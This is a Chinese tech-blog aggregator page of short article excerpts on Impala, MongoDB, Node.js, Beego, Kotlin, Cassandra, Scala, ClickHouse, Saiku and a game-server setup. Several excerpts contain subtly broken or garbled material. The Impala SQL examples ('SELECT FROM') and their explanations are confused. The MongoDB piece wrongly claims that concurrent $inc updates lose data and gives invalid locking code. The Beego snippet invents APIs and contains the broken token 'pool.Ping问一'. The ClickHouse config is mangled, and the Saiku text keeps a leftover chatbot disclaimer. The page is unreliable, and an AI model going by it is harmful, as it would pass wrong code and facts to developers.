Mahout为我们搭建推荐系统的用户相似度计算提供了有力支持。不过,在实际操作的时候,咱们得灵活应变,根据实际情况对参数进行微调,优化那个算法。有时候,为了更上一层楼的推荐效果,咱可能还需要把用户的社交关系、时间因素等其他信息一并考虑进去,让推荐结果更加精准、接地气儿。在我们一路摸索的过程中,可别光依赖冷冰冰的算法分析,更得把咱们用户的感受和体验揣摩透彻,这样才能够实实在在打造出符合每个人个性化需求的推荐系统,让大家用起来觉得贴心又满意。 总的来说,利用Mahout实现用户相似度计算并不复杂,关键在于理解不同相似度计算方法背后的数学原理以及它们在实际业务中的适用性。实践中,我们要善于运用这些工具,同时保持开放思维,不断迭代和优化我们的推荐策略。
2023-02-13 08:05:07
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百转千回
Impala
...sql -- 错误的示例: SELECT FROM my_table; 在这个例子中,“my_table”就是拼写错误的表名。正确的应该是"My Table"。 2.2 表名不正确 有时候,我们可能会混淆数据库的表名。即使你记得你的表名是正确的,但是可能在某个地方被错误地改写了。 sql -- 错误的示例: SELECT FROM "my_table"; 在这个例子中,我们在表名前添加了一个多余的双引号。这样,Impala就会认为这是一个字符串,而不是一个表名。 2.3 表已被删除或移动到其他位置 如果一个表已经被删除或者被移动到了其他位置,那么你就不能再通过原来的方式来访问它。 sql -- 错误的示例: DROP TABLE my_table; 在这个例子中,我们删除了名为“my_table”的表。然后,假如我们还坚持用这个表名去查找它的话,数据库就会闹脾气,给我们抛出一个“InvalidTableIdOrNameInDatabaseException”异常,就像在说:“嘿,你找的这个表名我压根不认识,给咱整迷糊了!” 2.4 表不在当前工作目录中 如果你在一个特定的工作目录下创建了一个表,但是当你尝试在这个目录之外的地方访问这个表时,就会出现这个问题。 sql -- 错误的示例: CREATE DATABASE db; USE db; CREATE TABLE my_table AS SELECT FROM big_data; -- 然后尝试在这个目录外访问这个表: SELECT FROM db.my_table; 在这个例子中,我们首先在数据库db中创建了一个名为my_table的表。然后,我们在同一个数据库中执行了一个查询。当你试图在不同的数据库里查找这个表格的时候,系统就会给你抛出一个“无效表格ID或名称”的异常,这个异常叫做InvalidTableIdOrNameInDatabaseException。就跟你在图书馆找书,却报了个“书名或书架号不存在”的错误一样,让你一时摸不着头脑。 3. 解决方案 根据上面的分析,我们可以得到以下几个可能的解决方案: 3.1 检查表名拼写 确保你在查询语句中输入的表名是正确的。你可以检查一下你的表名是否一致,特别是大小写和空格方面。 3.2 校对表名 仔细检查你的表名,确保没有拼写错误。同时,也要注意是否有错误的位置或者标点符号。 3.3 恢复已删除的表 如果你发现一个表被意外地删除了,你可以尝试恢复它。这通常需要管理员的帮助。 3.4 重新加载数据 如果你的表已被移动到其他位置,你需要重新加载数据。这通常涉及到更改你的查询语句或者配置文件。 3.5 改变工作目录 如果你的表不在当前工作目录中,你需要改变你的工作目录。这可以通过use命令完成。 总的来说,解决InvalidTableIdOrNameInDatabaseException的关键在于找出问题的根本原因。一旦你知道了问题所在,就可以采取相应的措施来解决问题。
2023-02-28 22:48:36
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海阔天空-t
Mongo
...现的情况是: javascript // 用户A尝试充值10元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 10 } } ); // 同一时刻,用户B尝试充值20元 db.users.updateOne( { _id: 'user1' }, { $inc: { balance: 20 } } ); 如果这两个操作恰好在数据库层面交错执行,理论上用户的余额应增加30元,但实际上可能只增加了20元或10元,这就产生了数据不一致性。 3. MongoDB的并发控制机制 乐观锁与悲观锁 乐观锁(Optimistic Locking): MongoDB并没有内置的乐观锁机制,但我们可以利用文档版本戳(_v字段)模拟实现。每次更新前先读取文档的版本,更新时设置$currentDate以确保版本已更新,如果版本不符则更新失败。 javascript var user = db.users.find({ _id: 'user1' }).next(); var currentVersion = user._v; db.users.updateOne( { _id: 'user1', _v: currentVersion }, [ { $inc: { balance: 10 } }, { $currentDate: { _v: true } } ], { upsert: false, multi: false } ); 悲观锁(Pessimistic Locking): MongoDB提供了findAndModify命令(现已被findOneAndUpdate替代),它可以原子性地查找并更新文档,相当于对文档进行了锁定,防止并发写入冲突。 javascript db.users.findOneAndUpdate( { _id: 'user1' }, { $inc: { balance: 10 } }, { upsert: false, returnOriginal: false } ); 4. 集群环境下的并发控制 WiredTiger存储引擎 在MongoDB集群环境下,WiredTiger存储引擎实现了行级锁,对于并发写入有着很好的支持。每当你进行写操作的时候,系统都会把它安排到特定的小区域——我们叫它“数据段”。想象一下,这些数据段就像一个个小隔间,同一隔间里的写操作会排好队,一个接一个地有序进行,而不是一拥而上。这样一来,就不用担心几个写操作同时进行会让数据变得乱七八糟、不一致了,就像大家排队领饭,就不会出现你夹的菜跑到我碗里,我夹的肉又飞到他碗里的混乱情况啦。 5. 总结与思考 处理MongoDB中的并发写入问题,需要根据具体的应用场景选择合适的并发控制策略。无论是利用版本戳模拟乐观锁,还是借助于findAndModify实现悲观锁,抑或是依赖于WiredTiger存储引擎的行级锁,我们的目标始终是为了保证数据的一致性和完整性,提升用户体验。 对于开发者而言,理解并掌握这些策略并非一日之功,而是要在实践中不断摸索和优化。你知道吗,就像做一顿色香味俱全的大餐那样,构建一个稳定靠谱的分布式系统也得讲究门道。首先得精挑细选“食材”,也就是各种组件和技术;然后,就跟掌握火候一样,得精准地调控系统的各个环节。只有这样,才能确保每位“尝鲜者”都能吃得心满意足,开开心心地离开。
2023-06-24 13:49:52
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人生如戏
NodeJS
...命令行参数: javascript // 输出Node.js执行文件路径以及传入的参数 console.log('执行文件路径:', process.argv[0]); console.log('当前脚本路径:', process.argv[1]); console.log('命令行参数:', process.argv.slice(2)); 运行这段代码,你会看到它揭示了你如何启动这个Node.js程序,并显示所有传递给脚本的具体参数。 --- 2. 掌控进程生命周期 process对象还赋予我们对进程生命周期的管理权: javascript // 获取当前的工作目录 let currentDir = process.cwd(); console.log('当前工作目录: ', currentDir); // 终止进程并指定退出码 setTimeout(() => { console.log('即将优雅退出...'); process.exit(0); // 0通常代表正常退出 }, 2000); 上述代码展示了如何获取当前工作目录以及如何在特定时机(如定时器结束时)让进程优雅地退出,这里的退出码0通常表示成功退出,而非异常结束。 --- 3. 监听进程事件 process对象还是一个事件发射器,可以监听各种进程级别的事件: javascript // 监听未捕获异常事件 process.on('uncaughtException', (err) => { console.error('发生未捕获异常:', err.message); // 进行必要的清理操作后退出进程 process.exit(1); }); // 监听Ctrl+C(SIGINT信号)事件 process.on('SIGINT', () => { console.log('\n接收到中断信号,正在退出...'); process.exit(); }); 上述代码片段演示了如何处理未捕获的异常和用户按下Ctrl+C时发送的SIGINT信号,这对于编写健壮的应用程序至关重要,确保在意外情况下也能安全退出。 --- 4. 进程间通信与环境变量 通过process对象,我们还能访问和修改环境变量,这是跨模块共享配置信息的重要手段: javascript // 设置环境变量 process.env.MY_SECRET_KEY = 'top-secret-value'; // 读取环境变量 console.log('我的密钥:', process.env.MY_SECRET_KEY); 此外,对于更复杂的应用场景,还可以利用process对象进行进程间通信(IPC),虽然这里不展示具体代码,但它是多进程架构中必不可少的一部分,用于父进程与子进程之间的消息传递和数据同步。 --- 结语 总的来说,Node.js中的process全局对象是我们开发过程中不可或缺的朋友,它既是我们洞察进程内部细节的眼睛,又是我们调整和控制整个应用行为的大脑。随着我们对process对象的各种功能不断摸索、掌握和熟练运用,不仅能让咱们的代码变得更加结实牢靠、灵活多变,更能助我们在Node.js编程的世界里打开新世界的大门,解锁更多高阶玩法,让编程变得更有趣也更强大。所以,在下一次编码之旅中,不妨多花些时间关注这位幕后英雄,让它成为你构建高性能、高可靠Node.js应用的强大助力!
2024-03-22 10:37:33
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人生如戏
Beego
...率和降低开销,我们会使用数据库连接池。然而,在某些情况下,可能会遇到“数据库连接池耗尽”的问题。本文将详细介绍这个问题以及如何在Beego框架中解决它。 2. 什么是数据库连接池? 数据库连接池是一种管理数据库连接的技术。它可以预先创建多个数据库连接,并将它们放入一个池中。当应用程序需要访问数据库时,可以从连接池中获取一个可用的连接。使用完后,将连接放回池中,而不是立即关闭,以便下次再使用。这种方式可以避免频繁地打开和关闭数据库连接,从而提高了性能。 3. 为什么会出现“数据库连接池耗尽”? 数据库连接池中的连接数量是有限的。要是请求量太大,把连接池的承受极限给顶破了,那么新的请求就得暂时等等啦,等到有足够的连接资源能用的时候才能继续进行。这就是“数据库连接池耗尽”的原因。 4. 如何解决“数据库连接池耗尽”? 以下是几种解决“数据库连接池耗尽”的方法: 4.1 增加数据库连接池的大小 如果你的应用对数据库的访问量很大,但是连接池的大小不足以满足需求,那么你可以考虑增加连接池的大小。这可以通过修改配置文件来实现。比如,在使用Beego时,你完全可以调整DBConfig.MaxIdleConns和DBConfig.MaxOpenConns这两个属性,这样一来,就能轻松控制数据库的最大空闲连接数和最大活跃连接数了,就像在管理你的小团队一样,灵活调配人手。 go beego.BConfig.WebConfig.Database = "mysql" beego.BConfig.WebConfig.DbName = "testdb" beego.BConfig.WebConfig.Driver = "github.com/go-sql-driver/mysql" beego.BConfig.WebConfig.DefaultDb = "default" beego.BConfig.WebConfig.MaxIdleConns = 100 beego.BConfig.WebConfig.MaxOpenConns = 200 4.2 使用连接池分片策略 这种方法可以将连接池划分为多个子池,每个子池独立处理来自不同用户的应用程序请求。这样可以防止单个子池由于过高的并发访问而耗尽连接。在Beego中,你可以在启动服务器时自定义数据库连接池,如下所示: go db, err := sql.Open("mysql", "root:password@/dbname") if err != nil { log.Fatal(err) } defer db.Close() pool := &sqlx.Pool{ DSN: "user=root password=pass dbname=testdb sslmode=disable", MaxIdleTime: time.Minute 5, } beego.InsertFilter("", beego.BeforeRouter, pool.Ping问一) 4.3 使用更高效的查询语句 高效的查询语句可以减少数据库连接的使用。例如,你可以避免在查询中使用不必要的表连接,尽量使用索引等。另外,我跟你说啊,尽量别一次性从数据库里捞太多数据,你想想哈,拿的数据越多,那连接数据库的“负担”就越重。就跟你一次性提太多东西,手上的袋子不也得承受更多压力嘛,道理是一样的。所以呢,咱悠着点,分批少量地拿数据才更明智。 4.4 调整应用负载均衡策略 如果你的应用在一个多台机器上运行,那么你可以通过调整负载均衡策略来平衡数据库连接的分配。比如,你完全可以根据每台机器上当前的实际连接使用状况,灵活地给它们分配对数据库的访问权限,就像在舞池里根据音乐节奏调整舞步那样自然流畅。 5. 结论 以上就是我在Beego中解决“数据库连接池耗尽”问题的一些方法。需要注意的是,不同的应用场景可能需要采用不同的解决方案。所以在实际动手干的时候,你得根据自己具体的需求和所处的环境,灵活机动地挑出最适合自己的方法。就像是在超市选商品,不同的需求对应不同的货架,不同的环境就像不同的购物清单,你需要智慧地“淘宝”,选出最对的那个“宝贝”方式。
2023-08-08 14:54:48
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蝶舞花间-t
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...Java互操作,可以使用原生类型数组。这些类与Array没有继承关系,只是有相同的方法属性,因此 IntArray 和 Array<Int> 是完全不同的类型,但两者可以互转。 原生类型数组 对应Java中的基本数据类型数组 IntArray Array int [ ] [ ] 方法 说明 举例 toIntArray () toArray () 通用→原生 val ty: Array<Int> = arrayOf(1, 2, 3) val toIntArray: IntArray = ty.toIntArray() toTypedArray () 原生→通用 val ys: IntArray = intArrayOf(1, 2, 3) val toTypedArray: Array<Int> = ys.toTypedArray() Person[] people = {new Person(), new Person()}; //Javaval people: Array<Person> = arrayOf(Person(), Person()) //Kotlin 遍历 val arr = arrayOf(1,2,3,4,5)//通过forEach循环arr.forEach{println(it)}//通过iterator循环var iterable:Iterator<Integer> = arr.iterator();while(iterable.hasNext()){println(iterable.next())}for(element in arr.iterator()){println(element)}//for循环一for(element in arr){println(element)}//for循环二for(index in 0..arr.size-1){println(arr[index])}//for循环三for(index in arr.indices){println(arr[index])}//for循环四for((index, value) in arr.withIndex()){println("$index位置的元素是:$value")}// 上面写法等价于下面写法for (element in arr.withIndex()) {println("${element.index} : ${element.value}")} 操作 方法 说明 .size .indices 数组长度 数组最大索引值 get (索引) 获取元素,推荐使用操作符 [ ] arr[3] 等同于 arr.get(3) set (索引,目标值) 给元素赋值,推荐使用操作符 [ ] arr[3] = "哈" 等同于 arr.set(3,"哈") plus (目标值) 增加:返回一个数组长度+1并用目标值赋值新元素的新数组,不对原数组进行改动 arr + 6 等同于 arr.plus(6) slice (区间) 截取:返回一个截取该区间元素的新数组,不对原数组进行改动 fill (目标值) fill (目标值,起始索引,结束索引) 修改:将该区间的元素赋值为指定值 copyOf () copyOf (个数) copyOfRange (起始索引,结束索引) 返回一个 完全复制了原数组 的新数组 返回一个 正向复制原数组元素个数 的新数组,超过原数组大小的新元素值为null 返回一个 复制原数组该区间元素 的新数组,超过原数组索引范围报错 asList () 数组转集合 reverse () reversedArray () reversed () 反转:将数组中的元素顺序进行反转 返回一个反转后的新数组,不对原数组进行改动 返回一个反转后的list,不对原数组进行改动 sort () sortedArray () sorted () 排序:对数组中的元素进行自然排序 返回一个自然排序后的新数组,不对原数组进行改动 返回一个自然排序后的list,不对原数组进行改动 joinToString (字符串分隔符) 将Array原生数组拼接成一个String,默认分隔符是“,” all (predicate) any (predicate) 全部元素满足条件返回 true,否则 false 任一元素满足条件返回 true,否则 false val arr = arrayOf(1, 2, 3, 4, 5)val cc = charArrayOf('你','们','好')val brr = arrayOf(5,2,1,4,3)//数组长度val num1 = arr.size //5//最大索引val num2 = arr.indices //4for (i in arr.indices) print(i) //01234//条件判断val boolean1 = arr.all { i -> i > 3 } //false,不是全部元素>3//增val arr1 = arr.plus(6) //123456,长度+1并赋值为6val arr2 = arr + 6 //同上//改val arr3 = arr.slice(2..4) //345arr.fill(0) //00000,操作的是原数组val str1 = cc.joinToString("") //你们好brr.sort() //12345val list1 = brr.sorted() //返回一个排序后的listval brr4 = brr.sortedArray() //返回排序后的新数组val arr5 = arr.copyOf() //12345val arr6 = arr.copyOf(2) //12val arr7 = arr.copyOfRange(2,4) //34 多维数组 //方式一:数组里面存的元素是数组val aa = arrayOf(arrayOf(1, 2, 3),arrayOf(4, 5, 6))print(aa[1][2]) //6//方式二:元素为null但类型是数组val bb = arrayOfNulls<Array<Int>>(2) 本篇文章为转载内容。原文链接:https://blog.csdn.net/HugMua/article/details/121866989。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-31 12:34:25
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...现思路 类组织结构 使用彩色建模的思想组织类结构,类图: SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类,仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
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Cassandra
...tch就派上用场了。使用Batch操作,你就能像一次性打包处理那样,让这些操作要么全盘搞定,要么一个也不动,就像“要干就干到底,不干就拉倒”的那种感觉,确保了操作的完整性。 cql BEGIN BATCH INSERT INTO orders (order_id, customer_id, product) VALUES (1, 'user1', 'productA'); INSERT INTO order_details (order_id, detail_id, quantity) VALUES (1, 1001, 2); APPLY BATCH; (2)Batch操作的注意事项 虽然Batch操作在提高性能方面有显著效果,但并非所有情况都适合使用。Cassandra对Batch大小有限制(默认约16MB),过大的Batch可能导致性能下降甚至错误。另外,你知道吗,Cassandra这个数据库啊,它属于AP型的,所以在批量操作这块儿,就不能给你提供像传统数据库那样的严格的事务保证啦。它更倾向于保证“原子性”,也就是说,一个操作要么全完成,要么全不完成,而不是追求那种所有的数据都得在同一时刻保持完全一致的“一致性”。 3. Cassandra的数据批量加载 (1)SSTableLoader工具 当我们面对海量历史数据迁移或初始化大量预生成数据时,直接通过CQL进行批量插入可能并不高效。此时,Cassandra提供的sstableloader工具可以实现大批量数据的快速导入。这个工具允许我们将预先生成好的SSTable文件直接加载到集群中,极大地提高了数据加载速度。 bash bin/sstableloader -u -p -d /path/to/sstables/ (2)Bulk Insert与COPY命令 对于临时性的大量数据插入,也可以利用CQL的COPY命令从CSV文件中导入数据,或者编写程序进行Bulk Insert。这种方式虽然不如sstableloader高效,但在灵活性上有一定优势。 cql COPY orders FROM '/path/to/orders.csv'; 或者编程实现Bulk Insert: java Session session = cluster.connect("my_keyspace"); PreparedStatement ps = session.prepare("INSERT INTO orders (order_id, customer_id, product) VALUES (?, ?, ?)"); for (Order order : ordersList) { BoundStatement bs = ps.bind(order.getId(), order.getCustomerId(), order.getProduct()); session.execute(bs); } 4. 深入探讨与实践总结 尽管Cassandra的Batch操作和批量加载功能强大,但运用时需要根据实际业务场景灵活调整策略。比如,在网络比较繁忙、负载较高的时候,咱就得避免一股脑地进行大批量的操作。这时候,咱们可以灵活调整批次的大小,就像在平衡木上保持稳定一样,既要保证性能不打折,又要让网络负载不至于过大,两头都得兼顾好。此外,说到批量加载数据这事儿,咱们得根据实际情况,灵活选择最合适的方法。比如说,你琢磨一下是否对实时性有要求啊,数据的格式又是个啥样的,这些都是决定咱采用哪种方法的重要因素。 总之,无论是日常开发还是运维过程中,理解和掌握Cassandra的Batch操作及批量加载技术,不仅能提升系统的整体性能,还能有效应对复杂的大规模数据管理挑战。在实际操作中不断尝试、捣鼓,让Cassandra这个家伙更好地为我们业务需求鞍前马后地服务,这才是技术真正价值的体现啊!
2024-02-14 11:00:42
506
冬日暖阳
Scala
... 使用try-catch块 其次,在实际创建URL对象时,可以将这部分代码包裹在一个try-catch块中,这样即使发生MalformedURLException,程序也不会完全崩溃,而是能够优雅地处理错误: scala try { val url = new java.net.URL("http://example.com") println(s"URL is valid: $url") } catch { case e: java.net.MalformedURLException => println("MalformedURLException occurred.") } 4. 处理异常 除了基本的异常捕获之外,我们还可以采取一些额外措施来增强程序的鲁棒性。例如,在catch块内部,我们可以记录错误日志,甚至向用户提供友好的提示信息,告知他们输入的URL存在格式问题,并建议正确的格式: scala try { val url = new java.net.URL("http://example.com") println(s"URL is valid: $url") } catch { case e: java.net.MalformedURLException => println("MalformedURLException occurred. Please ensure your URL is properly formatted.") // 记录错误日志 import java.io.PrintWriter import java.io.StringWriter val sw = new StringWriter() val pw = new PrintWriter(sw) e.printStackTrace(pw) println(sw.toString) } 进阶技巧:自定义URL验证函数 5. 自定义验证逻辑 为了进一步提高代码的可读性和复用性,我们可以封装上述功能,创建一个专门用于验证URL的函数。该函数不仅会检查URL格式,还会执行一些额外的安全检查,比如防止SQL注入等恶意行为: scala import java.net.URL def validateUrl(urlString: String): Option[URL] = { if (!isValidUrl(urlString)) { None } else { try { Some(new URL(urlString)) } catch { case _: MalformedURLException => None } } } // 测试 validateUrl("http://example.com") match { case Some(url) => println(s"Valid URL: $url") case None => println("Invalid URL.") } 结论 通过本文的学习,希望大家对Scala中处理URL相关的问题有了更深刻的理解。记住,预防总是优于治疗。在写代码的时候,提前想到可能会出的各种岔子,并且想办法避开它们,这样我们的程序就能更稳当、更靠谱了。当然,面对MalformedURLException这样的常见异常,保持冷静、合理应对同样重要。希望今天的分享能帮助大家写出更好的Scala代码! 最后,别忘了在日常开发中多实践、多总结经验,编程之路虽充满挑战,但每一步都值得骄傲。祝大家代码愉快!
2024-12-19 15:45:26
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素颜如水
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...手游技术是封闭的,在使用的过程中,出现了问题,很难找到解决的方法,比如架设战神引擎不开门的问题,读取不到列表的问题,等等,今天给大家分享一下架设战神引擎进入游戏不开门的问题怎么解决,提供的主要是解决思路,问题千万种,思路最重要。 导致游戏不开门的问题比较多,帮主把最常见的6个问题列出来,你们自己参照去检查。 1、战神引擎是不是全部启动成功了? 战神引擎成功启动后,有五个程序,分别是DBServer(数据库)、M2Server(M2控制台)、LoginGate(游戏网关)、GGService(登录网关)、ItemLogServer(日志),这五个程序都在服务器的任务栏上面运行了吗?如果运行了,那么进入第2个。 2、服务器的端口是不是开放了? 架设战神引擎服务器,默认需要用到的端口有这些,5600、5100、6000、7000、7100、8080、10000、20000、27017(MongoDB芒果数据库)等,这些是战神引擎默认的端口,你看看这些端口在当前架设的服务器上是不是开放了,如果不确定,可以去tool.chinaz.com/port/这个网站扫描看看。 3、引擎里面的IP是否是当前服务器的IP地址? 战神服务端里面的有4个配置文件需要修改里面的IP地址,分别在是这些文件,把这些文件别人的IP换成架设服务器所在的IP地址。 D:\mud2.0\DBServer\DBService.ini D:\mud2.0\GateServer\GameGate\MirGate.ini D:\mud2.0\GateServer\logingate\LoginGate.ini D:\mud2.0\Mir200\Gs1!Setup.txt 4、引擎里面的端口是不是修改过,在这里帮主推荐使用默认的。 跟第二条一样,引擎尽量使用默认的端口,如果修改了端口,导致引擎相互之间无法连接成功,引擎启动失败,门自然也不会开。 5、列表文件是不是存在 战神引擎列表文件有两份,分别是serverlist.json和serverlist.lua,路径如下,看看是不是有这两份文件。 D:\mud2.0\logincenter\logincenter_win\config\serverlist.json D:\mud2.0\logincenter\logincenter_win\application\controllers\serverlist.lua 这2分文件是否存在,如果存在,那么看第6条,答案就在最上面。 6、列表文件里面的IP、端口、格式是不是正确的(这个导致不开门的原因最多) 按照正常的流程,开门之后,就会出现黄色的列表信息,如下图,没有出现,那么可能serverlist.lua文件有问题,这其中包括了里面的列表格式,这个非常重要,你们在修改的时候,记得只修改里面的IP和游戏名字,端口默认8088即可。更不要添加标点符号等,多一个或少空格都会导致这份文件无法加载,从而出现了不开门的情况,如果开门了,到这里点击进不去,也是因为你修改修改的时候,破坏了标准的Lua格式。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-27 13:11:20
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ClickHouse
..._table的表,使用MergeTree引擎,并按照timestamp字段进行分区,按timestamp和id排序,这有助于提高针对时间范围的查询效率。 3. 调优配置参数 ClickHouse提供了一系列丰富的配置参数以适应不同的工作负载。比如,对于写入密集型场景,可以调整以下参数: yaml 1048576 增大插入块大小 16 调整后台线程池大小 16 最大并行查询线程数 这些参数可以根据实际服务器性能和业务需求进行适当调整,以达到最优写入性能。 4. 监控与运维管理 为了保证ClickHouse数据中心的稳定运行,必须配备完善的监控系统。ClickHouse自带Prometheus metrics exporter,方便集成各类监控工具: bash 启动Prometheus exporter clickhouse-server --metric_log_enabled=1 同时,合理规划备份与恢复策略,利用ClickHouse的备份工具或第三方工具实现定期备份,确保数据安全。 总结起来,配置ClickHouse数据中心是一个既需要深入理解技术原理,又需紧密结合业务实践的过程。当面对特定的需求时,我们得像玩转乐高积木一样,灵活运用ClickHouse的各种强大功能。从挑选合适的硬件设备开始,一步步搭建起集群架构,再到精心设计数据模型,以及日常的运维调优,每一个环节都不能落下,都要全面、细致地去琢磨和优化,确保整个系统运作流畅,高效满足需求。在这个过程中,我们得不断摸爬滚打、动动脑筋、灵活变通,才能让我们的ClickHouse数据中心持续进步,更上一层楼地为业务发展添砖加瓦、保驾护航。
2023-07-29 22:23:54
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翡翠梦境
Saiku
...,无法提供实际的代码示例来介绍其界面和功能区。不过,我可以按照您的要求以更加生动、详尽和口语化的方式来解析“Saiku界面的基本布局和功能区”。 Saiku界面的基本布局与功能区介绍 1. 启动与登录界面 当我们打开Saiku时,首先映入眼帘的是登录界面,就像你走进一家数据咖啡馆前需要先签到一样。当你输入用户名和密码,潇洒地点击登录按钮后,就仿佛拿到了打开Saiku世界大门的钥匙,接下来,你将踏上一段充满惊喜的数据探索旅程。 2. 主界面布局 登录成功后,你会看到Saiku的主界面,这里就像一个数据分析师的工作台,精心划分了多个功能区域。 - 菜单栏(1):位于页面顶部,如同烹饪中的调料架,包含了文件管理、新建报表、保存、加载等多种基本操作选项,帮助你在数据世界中导航自如。 - 工作区(2):占据页面中央的核心位置,这是你施展分析技巧的主要舞台,可以在此创建新的查询,查看并编辑现有的多维数据集,就像在画布上绘制一幅幅数据图像。 - 维度/度量区(3):位于工作区左侧,就好比你的工具箱,里面装满了各种维度(如时间、地点等分类标签)和度量(如销售额、客户数等数值指标),你可以拖拽它们至中间的查询设计面板,构建出复杂的数据视图。 - 结果展示区(4):当你完成查询设计并执行后,结果显示在右侧区域,像是一块实时更新的数据仪表盘,可能是一个表格、一张图表或者一个自定义的透视表,直观地呈现你的分析成果。 - 过滤器面板(5):有时候,你需要对全局数据进行精细化筛选,这时就可以借助过滤器面板,就如同戴上一副透视眼镜,只看你想看的那一部分数据。 3. 深度探究功能 Saiku还提供了丰富的交互式探索功能,例如,你可以在结果展示区直接对数据进行排序、筛选、钻取等操作,系统会立即响应并动态更新视图,这种即时反馈的体验犹如与数据进行一场即兴对话。 另外,Saiku支持用户自定义公式、设置计算成员以及保存个性化视图,这些高级功能仿佛为你配备了一套强大的数据处理装备,助你在浩瀚的数据海洋中挖掘出更有价值的信息。 总结来说,Saiku的界面设计以用户体验为核心,通过清晰明了的功能分区和直观易用的操作方式,让每一位用户都能轻松驾驭复杂的业务数据,享受数据驱动决策带来的乐趣与便利。这可不只是个普通工具,它更像是一个舞台,让你能和数据一起跳起探戈。每当你点击、拖拽或选择时,就像是在未知世界的版图上又踩下了一小步,离它的秘密更近一步,对它的理解也更深一层。
2023-10-04 11:41:45
105
初心未变
站内搜索
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知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
pgrep process_name
- 查找与进程名匹配的进程ID。
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"流光容易把人抛,红了樱桃,绿了芭蕉。"